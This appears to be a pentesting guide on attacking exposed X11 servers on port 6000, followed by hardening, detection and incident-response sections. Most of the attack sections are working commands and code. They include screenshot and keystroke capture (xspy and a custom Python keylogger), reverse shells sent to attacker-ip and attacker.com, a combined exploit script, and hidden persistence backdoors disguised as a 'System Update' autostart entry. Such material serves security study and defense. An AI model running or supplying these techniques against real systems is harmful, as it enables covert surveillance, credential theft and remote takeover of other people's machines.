# X11 - Port 6000

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

X11 (also known as X Window System or simply X) is a **network-transparent** window system that was designed in the 1980s at MIT. The key architectural principle is that X11 separates the display server from the applications:

* **X Server**: Manages the display, keyboard, and mouse (runs on the machine with the physical screen)
* **X Client**: The application that wants to display something (can run anywhere on the network)

This client-server architecture means that applications can run on one machine while displaying their GUI on another - a powerful feature that also introduces security risks.

#### How X11 Works

```
┌─────────────┐         Network         ┌─────────────┐
│  X Client   │ ───────────────────────>│  X Server   │
│ (App/Shell) │ X11 Protocol (Port 6000)│  (Display)  │
└─────────────┘ <───────────────────────└─────────────┘
     Remote                                   Local
```

The X server listens on port **6000 + display number**:

* Display `:0` → Port 6000
* Display `:1` → Port 6001
* Display `:2` → Port 6002

#### X11 Authentication Mechanisms

X11 supports several authentication methods:

1. **No Authentication** (xhost +) - Anyone can connect (extremely insecure)
2. **MIT-MAGIC-COOKIE-1** - 128-bit cookie stored in `~/.Xauthority`
3. **XDM-AUTHORIZATION-1** - More secure, uses DES
4. **SUN-DES-1** - Secure RPC using DES
5. **MIT-KERBEROS-5** - Kerberos-based authentication

Most systems use MIT-MAGIC-COOKIE-1, which stores authentication cookies in the `.Xauthority` file.

#### The .Xauthority File

This file contains authentication cookies for X11 connections:

```bash
# View contents
xxd ~/.Xauthority

# Example output:
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ....manepc..0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...
```

The cookie is a 128-bit random value that both client and server must know.

### Default Port Information

**Default Port:** 6000 (plus display number offset)

```
PORT       STATE   SERVICE    VERSION
6000/tcp   open    X11        (access granted)
6001/tcp   open    X11        (access granted)
```

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Scan for X11 services
nmap -p 6000-6010 -sV <target-ip>

# More detailed scan
nmap -p 6000-6010 -sV -sC <target-ip>

# Scan entire subnet
nmap -p 6000-6010 -sV <target-subnet>/24 -oA x11-scan
```

**X11 Access Testing Script**

```bash
# Nmap script to check for open X11
nmap -sV --script x11-access -p 6000-6010 <target-ip>

# Example output:
# PORT     STATE SERVICE
# 6000/tcp open  X11     (access granted)
# |_x11-access: X server access is granted
```

#### Metasploit Scanner

```bash
msf6 > use auxiliary/scanner/x11/open_x11
msf6 auxiliary(scanner/x11/open_x11) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/x11/open_x11) > set THREADS 10
msf6 auxiliary(scanner/x11/open_x11) > run
```

### Manual Connection Testing

**Using xdpyinfo**

```bash
# Test connection to X11 server
xdpyinfo -display <target-ip>:0

# Successful output shows display information:
# name of display:    10.10.10.50:0
# version number:     11.0
# vendor string:      The X.Org Foundation
# vendor release number:    12011000
```

**Using xwininfo**

```bash
# Get window tree information
xwininfo -root -tree -display <target-ip>:0

# Example output:
# Root window id: 0x45 (the root window)
#   Parent window id: 0x0 (none)
#   3 children:
#   0x200001 "xterm": ("xterm" "XTerm")
#   0x300001 "Firefox"
#   0x400001 "Terminal"
```

### Shodan Queries

Find exposed X11 servers on the internet:

```
port:6000 x11
port:6000 "access granted"
X11
```

## Local Enumeration

### Finding X11 Sessions

**Check Active X Sessions**

```bash
# Using 'w' command
w

# Example output:
# USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
# alice    tty7     :0               09:30    2days  1:23   0.04s xfce4-session
# bob      tty8     :1               10:15    3:45   0:32   0.01s gnome-session

# Using 'who' command
who

# Check running X servers
ps aux | grep X
ps aux | grep Xorg

# List X server processes
pgrep -a Xorg
```

**Identify Display Numbers**

```bash
# Check DISPLAY environment variable
echo $DISPLAY
# Output: :0 (or :1, :2, etc.)

# List all displays
ls -la /tmp/.X11-unix/
# Output:
# srwxrwxrwx 1 root root 0 Jan 15 09:30 X0
# srwxrwxrwx 1 root root 0 Jan 15 10:15 X1

# Check for active displays
netstat -tnlp | grep 6000
# tcp  0  0 0.0.0.0:6000  0.0.0.0:*  LISTEN  1234/Xorg
```

#### Finding .Xauthority Files

```bash
# Find all .Xauthority files
find / -name .Xauthority 2>/dev/null

# Common locations:
# /home/username/.Xauthority
# /root/.Xauthority

# Check permissions
ls -la ~/.Xauthority
# -rw------- 1 alice alice 123 Jan 15 09:30 /home/alice/.Xauthority

# View contents (hex dump)
xxd ~/.Xauthority

# Extract cookie information
xauth list
# Output: hostname/unix:0  MIT-MAGIC-COOKIE-1  a1b2c3d4e5f6...

# View specific display cookie
xauth -f ~/.Xauthority list :0
```

#### Extracting and Using Cookies

```bash
# Extract cookie for specific display
xauth extract /tmp/cookie.xauth $DISPLAY

# View extracted cookie
xauth -f /tmp/cookie.xauth list

# Merge cookie into your .Xauthority
xauth merge /tmp/cookie.xauth

# Use cookie from different location
export XAUTHORITY=/path/to/.Xauthority

# Test connection with cookie
xdpyinfo -display <target-ip>:0
```

#### SSH X11 Forwarding Detection

```bash
# Check if X11 forwarding is enabled in SSH
grep X11Forwarding /etc/ssh/sshd_config

# Check if user has X11 forwarded session
echo $DISPLAY
# Output: localhost:10.0 (X11 forwarded through SSH)

# When SSH forwards X11, it uses higher display numbers (usually :10+)
netstat -tnlp | grep 60
# tcp  0  0 127.0.0.1:6010  0.0.0.0:*  LISTEN  5678/sshd
```

## Exploitation Techniques

#### 1. Verify Anonymous Connection

Before exploitation, verify you can connect:

```bash
# Test basic connection
xdpyinfo -display <target-ip>:0

# If successful, you'll see display information
# If denied, you'll see: "No protocol specified" or "Can't open display"

# Test with xwininfo
xwininfo -root -display <target-ip>:0

# List all windows
xwininfo -root -tree -display <target-ip>:0
```

#### 2. Screenshot Capture

**Using xwd (X Window Dump)**

```bash
# Capture screenshot of entire display
xwd -root -screen -silent -display <target-ip>:0 > screenshot.xwd

# Convert to viewable format
convert screenshot.xwd screenshot.png

# Or use ImageMagick directly
display screenshot.xwd

# Capture specific window
xwd -id <window-id> -display <target-ip>:0 > window.xwd

# Alternative: Use GIMP
gimp screenshot.xwd
```

**Automated Screenshot Capture**

```bash
# Continuous screenshot capture (every 5 seconds)
while true; do
    xwd -root -screen -silent -display <target-ip>:0 > screenshot_$(date +%s).xwd
    sleep 5
done

# Convert all at once
for file in screenshot_*.xwd; do
    convert "$file" "${file%.xwd}.png"
done
```

**Using import (ImageMagick)**

```bash
# Directly capture as PNG
import -window root -display <target-ip>:0 screenshot.png

# Capture specific window
import -window <window-id> -display <target-ip>:0 window.png
```

#### 3. Keylogger (Keystroke Capture)

**Using xspy**

```bash
# Install xspy (Kali Linux)
apt-get install xspy

# Run keylogger
xspy <target-ip>:0

# Example output:
# opened 10.10.10.50:0 for snooping
# swaBackSpaceCaps_Lock josephtTabcBackSpace
# Shift_L workShift_L 2123
# qsaminusKP_Down KP_Begin password123Return
```

**Alternative: Using xinput**

```bash
# List input devices
xinput --list --display <target-ip>:0

# Example output:
# Virtual core keyboard                    id=3    [master keyboard (2)]
# Virtual core pointer                     id=2    [master pointer (1)]

# Monitor keyboard events
xinput test <device-id> --display <target-ip>:0

# Or use test-xi2 for more detailed output
xinput test-xi2 --root --display <target-ip>:0
```

**Using xev for Event Monitoring**

```bash
# Monitor all X events
xev -display <target-ip>:0

# This will show keypresses, mouse movements, etc.
# Output includes key codes and symbols
```

**Custom Python Keylogger**

```python
#!/usr/bin/env python3
from Xlib import X, XK, display
from Xlib.ext import record
from Xlib.protocol import rq

def key_press_event(reply):
    data = reply.data
    while len(data):
        event, data = rq.EventField(None).parse_binary_value(data, display.display, None, None)
        if event.type == X.KeyPress:
            keysym = display.keycode_to_keysym(event.detail, 0)
            char = XK.keysym_to_string(keysym)
            if char:
                print(char, end='', flush=True)

# Connect to remote X server
remote_display = display.Display('<target-ip>:0')

# Create recording context
ctx = remote_display.record_create_context(
    0,
    [record.AllClients],
    [{
        'core_requests': (0, 0),
        'core_replies': (0, 0),
        'ext_requests': (0, 0, 0, 0),
        'ext_replies': (0, 0, 0, 0),
        'delivered_events': (0, 0),
        'device_events': (X.KeyPress, X.KeyRelease),
        'errors': (0, 0),
        'client_started': False,
        'client_died': False,
    }]
)

# Enable recording
remote_display.record_enable_context(ctx, key_press_event)
remote_display.record_free_context(ctx)
```

#### 4. Remote Desktop Viewing

**Using xrdp.py**

```bash
# Clone the tool
git clone https://github.com/carlospolop/legion.git
cd legion/tools/

# Run xrdp for live viewing
./xrdp.py <target-ip>:0

# This opens a window showing the remote desktop in real-time
```

**Using xwatchwin for Live Monitoring**

```bash
# First, get window ID
xwininfo -root -display <target-ip>:0
# Note the root window ID (e.g., 0x45)

# Start live viewing
./xwatchwin <target-ip>:0 -w 0x45

# With update interval (in seconds)
./xwatchwin -u 0.5 <target-ip>:0 -w 0x45

# Verbose mode
./xwatchwin -v <target-ip>:0 -w 0x45
```

**Manual Live Viewing with VNC**

```bash
# Create VNC-like viewer using x11vnc
x11vnc -display <target-ip>:0 -bg -nopw -listen localhost -xkb

# Connect with VNC viewer
vncviewer localhost:5900
```

#### 5. Command Execution

**Using Metasploit**

```bash
msf6 > use exploit/unix/x11/x11_keyboard_exec
msf6 exploit(unix/x11/x11_keyboard_exec) > set RHOST <target-ip>
msf6 exploit(unix/x11/x11_keyboard_exec) > set DISPLAY 0
msf6 exploit(unix/x11/x11_keyboard_exec) > set PAYLOAD cmd/unix/reverse_bash
msf6 exploit(unix/x11/x11_keyboard_exec) > set LHOST <attacker-ip>
msf6 exploit(unix/x11/x11_keyboard_exec) > set LPORT 4444
msf6 exploit(unix/x11/x11_keyboard_exec) > exploit

# This opens a terminal and types commands via keyboard simulation
```

**Manual Command Execution via xterm**

```bash
# Open remote xterm on target display
xterm -display <target-ip>:0 &

# Execute commands in the spawned terminal
# Or open xterm on your display but execute on target
DISPLAY=<target-ip>:0 xterm -e "whoami; id; bash" &

# Open terminal with bash
xterm -display <target-ip>:0 -e /bin/bash &
```

**Using xdotool for Command Simulation**

```bash
# Install xdotool
apt-get install xdotool

# Type commands (simulates keyboard)
xdotool type --display <target-ip>:0 "xterm &"
xdotool key --display <target-ip>:0 Return

# Wait and type more commands
sleep 2
xdotool type --display <target-ip>:0 "nc -e /bin/bash <attacker-ip> 4444"
xdotool key --display <target-ip>:0 Return
```

**Opening GUI Applications Remotely**

```bash
# Open calculator
DISPLAY=<target-ip>:0 xcalc &

# Open browser with specific URL
DISPLAY=<target-ip>:0 firefox https://malicious-site.com &

# Open file manager
DISPLAY=<target-ip>:0 nautilus &

# Display message to user
DISPLAY=<target-ip>:0 xmessage "Your system has been compromised" &
```

#### 6. Getting a Reverse Shell

**Method 1: Via xrdp.py**

```bash
# Run xrdp in no-display mode
./xrdp.py <target-ip>:0 --no-disp

# Click on the R-Shell option in the interface
# Enter your IP and port
# Start netcat listener
nc -lvnp 5555

# Click "R-Shell" button to get reverse shell
```

**Method 2: Via xterm**

```bash
# Start netcat listener
nc -lvnp 4444

# Open xterm and execute reverse shell
xterm -display <target-ip>:0 -e bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1' &

# Alternative: netcat reverse shell
xterm -display <target-ip>:0 -e bash -c 'nc <attacker-ip> 4444 -e /bin/bash' &
```

**Method 3: Via Keyboard Simulation (MSF)**

```bash
msf6 > use exploit/unix/x11/x11_keyboard_exec
msf6 exploit(unix/x11/x11_keyboard_exec) > set RHOST <target-ip>
msf6 exploit(unix/x11/x11_keyboard_exec) > set CMD 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'
msf6 exploit(unix/x11/x11_keyboard_exec) > exploit
```

**Method 4: X11 Forwarding Hijack**

If user has SSH with X11 forwarding:

```bash
# Find X11 forwarded display
ps aux | grep 'X11-unix'

# Hijack the forwarded session
export DISPLAY=localhost:10.0
xterm -e bash &

# Your terminal appears on their screen and you control it
```

#### 7. Clipboard Access

```bash
# Read clipboard contents
xclip -o -display <target-ip>:0

# Monitor clipboard changes
while true; do
    xclip -o -display <target-ip>:0 >> clipboard.log
    sleep 1
done

# Write to clipboard (inject data)
echo "malicious content" | xclip -i -display <target-ip>:0
```

#### 8. Screen Recording

```bash
# Install ffmpeg
apt-get install ffmpeg

# Record screen activity
ffmpeg -f x11grab -video_size 1920x1080 -i <target-ip>:0 -codec:v libx264 output.mp4

# Record for 60 seconds
ffmpeg -f x11grab -video_size 1920x1080 -i <target-ip>:0 -t 60 -codec:v libx264 recording.mp4

# With audio (if available)
ffmpeg -f x11grab -video_size 1920x1080 -i <target-ip>:0 -f alsa -i default output.mp4
```

## Post-Exploitation

### Privilege Escalation

**Check for SUID Binaries in X Session**

```bash
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check X11-related SUID binaries
find /usr -name '*X*' -perm -4000 2>/dev/null
```

**Check X11 Configuration Files**

```bash
# Check Xwrapper config
cat /etc/X11/Xwrapper.config

# Look for allowed_users=anybody (security risk)
# Should be: allowed_users=console

# Check X11 startup scripts
cat ~/.xinitrc
cat ~/.xsession
cat /etc/X11/xinit/xinitrc
```

**Check for Sensitive Data in X Sessions**

```bash
# Check running processes
ps aux | grep -i password
ps aux | grep -i key

# Check environment variables
cat /proc/<pid>/environ | tr '\0' '\n' | grep -i pass

# Look for password managers
ps aux | grep -E 'keepass|lastpass|1password'
```

### Persistence

**Add Startup Application**

```bash
# Add malicious script to autostart
mkdir -p ~/.config/autostart
cat > ~/.config/autostart/malicious.desktop << EOF
[Desktop Entry]
Type=Application
Exec=/tmp/backdoor.sh
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=System Update
EOF

# Create backdoor script
cat > /tmp/backdoor.sh << 'EOF'
#!/bin/bash
while true; do
    bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
    sleep 3600
done
EOF
chmod +x /tmp/backdoor.sh
```

**Modify .xinitrc or .xsession**

```bash
# Add backdoor to X session startup
echo 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1 &' >> ~/.xinitrc

# Or in .xsession
echo 'nohup /tmp/backdoor.sh &' >> ~/.xsession
```

**X11 Port Forward Persistence**

```bash
# Add SSH tunnel for X11 in crontab
(crontab -l 2>/dev/null; echo "@reboot ssh -f -N -R 6000:localhost:6000 attacker@<attacker-ip>") | crontab -
```

## Lateral Movement

**Enumerate Other X11 Sessions**

```bash
# Find all active X displays
ls /tmp/.X11-unix/
# X0, X1, X2, etc.

# Check each display
for display in /tmp/.X11-unix/X*; do
    display_num=${display##*/X}
    echo "Testing display :$display_num"
    xdpyinfo -display :$display_num 2>&1 | grep -q "name of display" && echo "Access to :$display_num"
done
```

**Find .Xauthority Files of Other Users**

```bash
# Find all .Xauthority files (requires root or proper permissions)
find /home -name .Xauthority 2>/dev/null

# Try each found .Xauthority
for auth in $(find /home -name .Xauthority 2>/dev/null); do
    export XAUTHORITY=$auth
    xdpyinfo -display :0 2>&1 | grep -q "name of display" && echo "Working auth: $auth"
done
```

**SSH X11 Forwarding Pivot**

```bash
# If you compromise a user with SSH access
# Enable X11 forwarding and pivot through them
ssh -X user@next-target "xdpyinfo"

# Or forward specific display
ssh -R 6000:localhost:6000 user@next-target
```

## Advanced Techniques

#### X11 + Docker Escape

If X11 socket is mounted in container:

```bash
# Inside container
ls -la /tmp/.X11-unix/

# If socket exists, connect to host X11
xdpyinfo -display unix:0
xterm -display unix:0 -e bash &

# This gives you terminal on host display
```

#### X11 in Kubernetes

```bash
# Check for X11 socket mounting
kubectl get pods <pod-name> -o yaml | grep X11

# If mounted, exec into pod
kubectl exec -it <pod-name> -- /bin/bash

# Connect to host X11
export DISPLAY=unix:0
xterm &
```

#### Wayland Security Bypass

Modern systems use Wayland instead of X11, but many still have X11 compatibility:

```bash
# Check if running Wayland
echo $XDG_SESSION_TYPE
# Output: wayland or x11

# Check for XWayland
ps aux | grep -i xwayland

# If XWayland is running, you may still attack via X11
xdpyinfo -display :0
```

#### CVE Analysis: X11 Vulnerabilities

**CVE-2020-14360** - X.Org Server Input Validation

```bash
# Affected versions: X.Org before 1.20.9
# Impact: Out-of-bounds access, potential RCE

# Check version
X -version
Xorg -version

# If vulnerable, can be exploited through malformed input
```

**CVE-2022-46340** - X Server DeepCopy Issues

```bash
# Affected: X.Org Server < 21.1.5
# Impact: Arbitrary code execution

# Exploitation requires crafted X client
# Check if system is vulnerable
apt list --installed | grep xserver
```

### Tools Reference

#### Essential X11 Pentesting Tools

1. **xdpyinfo** - Display information utility
2. **xwininfo** - Window information utility
3. **xwd** - X Window dump (screenshots)
4. **xspy** - Keystroke logger
5. **xwatchwin** - Live desktop viewer
6. **xrdp.py** - Remote desktop access
7. **xdotool** - X11 automation
8. **xclip** - Clipboard access
9. **xinput** - Input device testing
10. **xev** - Event monitor

#### Installation

```bash
# Debian/Ubuntu
apt-get install x11-apps x11-utils imagemagick

# Install xspy
apt-get install xspy

# Install xdotool
apt-get install xdotool

# Install clipboard tools
apt-get install xclip xsel

# Python X11 library
pip3 install python-xlib
```

#### Custom Scripts

**Multi-Function X11 Exploit Script**

```bash
#!/bin/bash

TARGET=$1
DISPLAY_NUM=${2:-0}

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target-ip> [display-number]"
    exit 1
fi

echo "[*] Testing X11 connection to $TARGET:$DISPLAY_NUM"

# Test connection
if xdpyinfo -display $TARGET:$DISPLAY_NUM &>/dev/null; then
    echo "[+] Connection successful!"
    
    # Capture screenshot
    echo "[*] Capturing screenshot..."
    xwd -root -screen -silent -display $TARGET:$DISPLAY_NUM > screenshot.xwd
    convert screenshot.xwd screenshot.png
    echo "[+] Screenshot saved as screenshot.png"
    
    # List windows
    echo "[*] Enumerating windows..."
    xwininfo -root -tree -display $TARGET:$DISPLAY_NUM > windows.txt
    echo "[+] Window list saved as windows.txt"
    
    # Start keylogger in background
    echo "[*] Starting keylogger..."
    xspy $TARGET:$DISPLAY_NUM > keylog.txt &
    XSPY_PID=$!
    echo "[+] Keylogger started (PID: $XSPY_PID)"
    
    # Open reverse shell
    read -p "[?] Open reverse shell? (y/n): " ANSWER
    if [ "$ANSWER" = "y" ]; then
        read -p "[?] Enter your IP: " LHOST
        read -p "[?] Enter your port: " LPORT
        echo "[*] Opening reverse shell to $LHOST:$LPORT"
        xterm -display $TARGET:$DISPLAY_NUM -e bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" &
        echo "[+] Reverse shell initiated"
    fi
    
else
    echo "[-] Connection failed. X11 may be protected or not available."
    exit 1
fi
```

## Defense & Hardening

#### Disable X11 Network Listening

**Method 1: Configure X Server Startup**

```bash
# Edit /etc/X11/xinit/xserverrc
# Add -nolisten tcp flag
exec /usr/bin/X -nolisten tcp "$@"

# Or edit display manager config
# For GDM (GNOME Display Manager)
# Edit /etc/gdm3/custom.conf
[security]
DisallowTCP=true

# For LightDM
# Edit /etc/lightdm/lightdm.conf
[Seat:*]
xserver-command=X -nolisten tcp

# For SDDM (KDE)
# Edit /etc/sddm.conf
[X11]
ServerArguments=-nolisten tcp
```

**Method 2: Firewall Rules**

```bash
# Block X11 ports with iptables
iptables -A INPUT -p tcp --dport 6000:6010 -j DROP

# Allow only from localhost
iptables -A INPUT -p tcp --dport 6000:6010 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 6000:6010 -j DROP

# Save rules
iptables-save > /etc/iptables/rules.v4

# Using UFW
ufw deny 6000:6010/tcp
ufw allow from 127.0.0.1 to any port 6000:6010 proto tcp
```

**Method 3: X Server Configuration**

```bash
# Edit /etc/X11/Xwrapper.config
allowed_users=console
# This restricts X to console users only

# Verify X is not listening on network
netstat -tnlp | grep 6000
# Should show only 127.0.0.1 or unix socket

# Check X server arguments
ps aux | grep X
# Should include -nolisten tcp
```

#### Proper X11 Authentication

```bash
# Ensure xhost is restricted
xhost -

# Remove all access controls (dangerous - don't do this!)
# xhost + (NEVER USE IN PRODUCTION)

# List current access control
xhost

# Allow specific host only
xhost +localhost
xhost +192.168.1.100

# Check .Xauthority permissions
chmod 600 ~/.Xauthority

# Generate new MIT-MAGIC-COOKIE
xauth generate :0 . trusted

# Remove old cookies
xauth remove :0
```

#### SSH X11 Forwarding Security

```bash
# Edit /etc/ssh/sshd_config

# Disable X11 forwarding if not needed
X11Forwarding no

# If needed, use these secure settings
X11Forwarding yes
X11UseLocalhost yes  # Force forwarding through localhost
X11DisplayOffset 10  # Use higher display numbers

# Restart SSH service
systemctl restart sshd
```

#### Monitor X11 Access Attempts

**Using auditd**

```bash
# Install auditd
apt-get install auditd

# Add X11 monitoring rules
cat >> /etc/audit/rules.d/x11.rules << EOF
# Monitor X11 connections
-w /tmp/.X11-unix/ -p rwxa -k x11_access
-w /usr/bin/xdpyinfo -p x -k x11_tools
-w /usr/bin/xwininfo -p x -k x11_tools
-w /usr/bin/xwd -p x -k x11_tools
EOF

# Reload rules
auditctl -R /etc/audit/rules.d/x11.rules

# View X11-related events
ausearch -k x11_access
ausearch -k x11_tools
```

**Using tcpdump**

```bash
# Monitor X11 traffic
tcpdump -i eth0 port 6000 -w x11_traffic.pcap

# Real-time monitoring
tcpdump -i eth0 port 6000 -A

# Monitor all X11 display ports
tcpdump -i eth0 portrange 6000-6010
```

**Log Analysis**

```bash
# Check for X11 authentication failures
grep -i "x11" /var/log/auth.log
grep -i "xauth" /var/log/syslog

# Monitor X server logs
tail -f /var/log/Xorg.0.log

# Check for suspicious .Xauthority access
find /var/log -name "*.log" -exec grep -l ".Xauthority" {} \;
```

#### Migrate to Wayland

Wayland is more secure than X11:

```bash
# Check current session type
echo $XDG_SESSION_TYPE

# Install Wayland session
apt-get install gnome-session-wayland  # For GNOME
apt-get install plasma-workspace-wayland  # For KDE

# Select Wayland at login screen
# Look for "GNOME on Wayland" or "Plasma (Wayland)"

# Disable X11 altogether (advanced)
# Remove X server packages
apt-get remove xserver-xorg-core
```

#### Security Best Practices

```bash
# 1. Never use xhost +
# 2. Always use -nolisten tcp
# 3. Restrict .Xauthority permissions (600)
# 4. Use SSH X11 forwarding instead of direct access
# 5. Implement network segmentation
# 6. Monitor X11 access logs
# 7. Use Wayland when possible
# 8. Keep X.Org updated
# 9. Disable X11 forwarding in SSH if not needed
# 10. Use mandatory access controls (SELinux/AppArmor)
```

## Detection & Incident Response

#### Detecting X11 Attacks

**Network-Based Detection**

```bash
# Monitor for unusual X11 connections
tcpdump -i eth0 'tcp port 6000 and not host 127.0.0.1'

# Use Snort/Suricata rules
alert tcp any any -> any 6000:6010 (msg:"X11 connection attempt"; sid:1000001;)

# Monitor connection attempts
watch -n 1 'netstat -tnp | grep 6000'
```

**Host-Based Detection**

```bash
# Check for unusual X11 processes
ps aux | grep -E "xwd|xspy|xwininfo|xdpyinfo"

# Monitor .Xauthority access
inotifywait -m ~/.Xauthority

# Check for unauthorized xterm sessions
ps aux | grep xterm | grep -v $USER

# Look for suspicious DISPLAY variables
ps auxe | grep "DISPLAY=" | grep -v ":0"
```

**Signs of Compromise**

* Unknown xterm or GUI applications appearing
* Unusual network connections to port 6000
* Unexpected .Xauthority file modifications
* Keyboard input lag or duplication
* Screenshot files in /tmp
* Unauthorized SSH X11 forwarding sessions

#### Incident Response Steps

```bash
# 1. Identify compromised display
netstat -tnp | grep 6000

# 2. Kill X11 server (extreme measure)
killall Xorg

# 3. Disconnect network
ifconfig eth0 down

# 4. Review .Xauthority
xauth list

# 5. Check for persistence
cat ~/.xinitrc
cat ~/.xsession
ls ~/.config/autostart/

# 6. Analyze logs
grep -r "DISPLAY" /var/log/
ausearch -k x11_access

# 7. Generate new X11 cookies
rm ~/.Xauthority
startx  # Will generate new cookie

# 8. Change passwords
passwd

# 9. Audit all users
for user in $(cut -d: -f1 /etc/passwd); do
    echo "Checking $user"
    find /home/$user -name .Xauthority
done
```

### Real-World Attack Scenarios

#### Scenario 1: Red Team Assessment

**Goal:** Access internal workstation via exposed X11

```bash
# 1. Network scan
nmap -p 6000-6010 -sV 10.10.10.0/24

# 2. Test access
xdpyinfo -display 10.10.10.50:0
# [SUCCESS] Connection granted

# 3. Enumerate windows
xwininfo -root -tree -display 10.10.10.50:0 > windows.txt
cat windows.txt
# [FOUND] Password manager window

# 4. Capture screenshot
xwd -root -screen -silent -display 10.10.10.50:0 > screen.xwd
convert screen.xwd screen.png
# [FOUND] Credentials visible in screenshot

# 5. Start keylogger
xspy 10.10.10.50:0 > keys.log &

# 6. Open reverse shell
xterm -display 10.10.10.50:0 -e bash -c 'bash -i >& /dev/tcp/10.10.10.5/4444 0>&1' &

# 7. Post-exploitation
# Access files, extract data, pivot to other systems
```

#### Scenario 2: Privilege Escalation

**Goal:** Escalate from low-privileged user to root via X11

```bash
# 1. Check current user
whoami
# lowpriv-user

# 2. Find active X sessions
w
# root     tty7     :0       10:30

# 3. Look for root's .Xauthority
ls -la /root/.Xauthority
# -rw------- 1 root root 123 Jan 15 10:30 /root/.Xauthority

# 4. Check if readable (misconfig)
cat /root/.Xauthority
# Permission denied

# 5. Alternative: Check for SUID binary
find / -perm -4000 -name "*X*" 2>/dev/null
# /usr/bin/Xorg

# 6. Exploit Xorg or find world-readable .Xauthority
find /tmp -name .X*-lock -o -name .X11-unix
ls -la /tmp/.X11-unix/
# srwxrwxrwx 1 root root 0 Jan 15 10:30 X0

# 7. If socket is accessible, try connection
XAUTHORITY=/dev/null xdpyinfo -display :0

# 8. If successful, open root terminal
XAUTHORITY=/dev/null xterm -display :0 -e "su -" &
```

#### Scenario 3: Persistence via X11

**Goal:** Maintain access after initial compromise

```bash
# 1. Create backdoor script
cat > /tmp/.system-update.sh << 'EOF'
#!/bin/bash
while true; do
    xterm -display :0 -e bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' &
    sleep 3600
done
EOF
chmod +x /tmp/.system-update.sh

# 2. Add to user's X startup
mkdir -p ~/.config/autostart
cat > ~/.config/autostart/system-update.desktop << EOF
[Desktop Entry]
Type=Application
Exec=/tmp/.system-update.sh
Hidden=true
NoDisplay=true
X-GNOME-Autostart-enabled=true
Name=System Update Service
EOF

# 3. Verify persistence
cat ~/.config/autostart/system-update.desktop

# 4. Test (won't trigger until next X session start)
# Reboot victim or wait for user to log out/in
```

#### Scenario 4: Lateral Movement

**Goal:** Use X11 to move from one compromised host to another

```bash
# On Compromised Host A (10.10.10.50)

# 1. Find other hosts running X11
nmap -p 6000 10.10.10.0/24

# 2. Check for shared .Xauthority (NFS home dirs)
mount | grep nfs
df -h | grep nfs

# 3. If NFS-mounted homes, can access other users' .Xauthority
ls /home/*/.Xauthority

# 4. Copy .Xauthority from another user
cp /home/targetuser/.Xauthority /tmp/target.xauth

# 5. Use it to access their X session on Host B (10.10.10.51)
export XAUTHORITY=/tmp/target.xauth
xdpyinfo -display 10.10.10.51:0

# 6. Open shell on Host B
xterm -display 10.10.10.51:0 -e bash &

# 7. Continue lateral movement
```

## Troubleshooting Common Issues

#### "No protocol specified" Error

```bash
# Error: No protocol specified
# Can't open display: <ip>:0

# Solution 1: Check if X server allows connection
xhost + <your-ip>  # On target (if you have access)

# Solution 2: Get valid .Xauthority cookie
# Find and copy .Xauthority from target user

# Solution 3: Use proper XAUTHORITY path
export XAUTHORITY=/path/to/.Xauthority
xdpyinfo -display <ip>:0
```

#### "Connection refused" Error

```bash
# Error: connect to address <ip> port 6000: Connection refused

# Check 1: Is X server running?
ps aux | grep X

# Check 2: Is it listening on network?
netstat -tnlp | grep 6000
# Should show 0.0.0.0:6000 not 127.0.0.1:6000

# Check 3: Firewall blocking?
iptables -L -n | grep 6000

# Check 4: Correct display number?
ls /tmp/.X11-unix/
# Try different display numbers (:0, :1, :2, etc.)
```

#### Permission Issues

```bash
# Issue: Can't access .Xauthority

# Solution 1: Check file permissions
ls -la ~/.Xauthority
# Should be -rw------- (600)

# Solution 2: Regenerate
rm ~/.Xauthority
xauth generate :0 . trusted

# Solution 3: Copy from user's home
cp /home/user/.Xauthority ~/
chmod 600 ~/.Xauthority
```

#### Display Not Found

```bash
# Issue: Invalid display specified

# Find active displays
ls /tmp/.X11-unix/
# Lists X0, X1, X2, etc.

# Or
ps aux | grep X | grep -v grep
# Look for Xorg processes with display numbers

# Try each display
for i in {0..5}; do
    echo "Testing display :$i"
    xdpyinfo -display :$i 2>&1 | head -n 1
done
```

### Cheat Sheet

#### Quick Reference

```bash
# ENUMERATION
nmap -p 6000-6010 -sV <target>                    # Scan for X11
xdpyinfo -display <target>:0                      # Test connection
xwininfo -root -tree -display <target>:0          # List windows
xauth list                                        # Show X cookies
ls /tmp/.X11-unix/                                # List displays

# SCREENSHOT
xwd -root -screen -silent -display <target>:0 > screenshot.xwd
convert screenshot.xwd screenshot.png

# KEYLOGGER
xspy <target>:0                                   # Start keylogger
xinput test <device-id> --display <target>:0      # Alternative

# REMOTE DESKTOP
./xwatchwin <target>:0 -w <window-id>             # Live view

# COMMAND EXECUTION
xterm -display <target>:0 -e /bin/bash &          # Open terminal
